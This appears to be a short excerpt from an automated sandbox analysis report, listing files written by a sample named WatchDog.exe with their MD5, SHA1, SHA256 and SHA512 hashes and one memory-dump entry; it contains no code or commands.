C:\Users\Admin\AppData\Local\Temp\WatchDog.exe
| MD5 | 0e362e7005823d0bec3719b902ed6d62 |
| SHA1 | 590d860b909804349e0cdc2f1662b37bd62f7463 |
| SHA256 | 2d0dc6216f613ac7551a7e70a798c22aee8eb9819428b1357e2b8c73bef905ad |
| SHA512 | 518991b68496b3f8545e418cf9b345e0791e09cc20d177b8aa47e0aba447aa55383c64f5bdaca39f2b061a5d08c16f2ad484af8a9f238ca23ab081618fba3ad3 |
memory/4468-64-0x0000000000EE0000-0x0000000000EFA000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\WatchDog.txt
| MD5 | 771228b914581d4c92cb184ecf761d22 |
| SHA1 | 858b7e3e6ff6191dc7fd561510d24c3fb424ed8f |
| SHA256 | ba4755fd48143ad928ffb6cc38ef749b1f11ddb204a04856d32ea53c967d448c |
| SHA512 | 41537a8d5cbe04a53cf9c5f8eea68cc045b5c05336bcce162c88c00a66021511afbb5d1083b7883bc0e30e22f6d35d7421df486d25a102621f972bb1b5b3b1bf |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WatchDog.exe.log
| MD5 | 7dca233df92b3884663fa5a40db8d49c |
| SHA1 | 208b8f27b708c4e06ac37f974471cc7b29c29b60 |
| SHA256 | 90c83311e35da0b5f8aa65aa2109745feb68ee9540e863f4ed909872e9c6a84c |
| SHA512 | d134b96fd33c79c85407608f76afc5a9f937bff453b1c90727a3ed992006c7d4c8329be6a2b5ba6b11da1a32f7cd60e9bc380be388b586d6cd5c2e6b1f57bd07 |
C:\Users\Admin\AppData\Local\Temp\WatchDog.txt
| MD5 | 0017979068fbfbd0fe002d93eed5fcd0 |
| SHA1 | e8cdad526e0698a58a1ef1818785bd1915137615 |
| SHA256 | 669c02322dda6a727344f84900f27e07aab26f54c16319aefac42d8b602f4a2c |
| SHA512 | dd819ffaf1e09af7f54ce515fd936e775ecdf6a82cbe53dac72f0ca1da024b8dd3fc8f3e94c8c48f2a4d5a9e942afd73ebb1d114c016363e1023b3b947bd6a11 |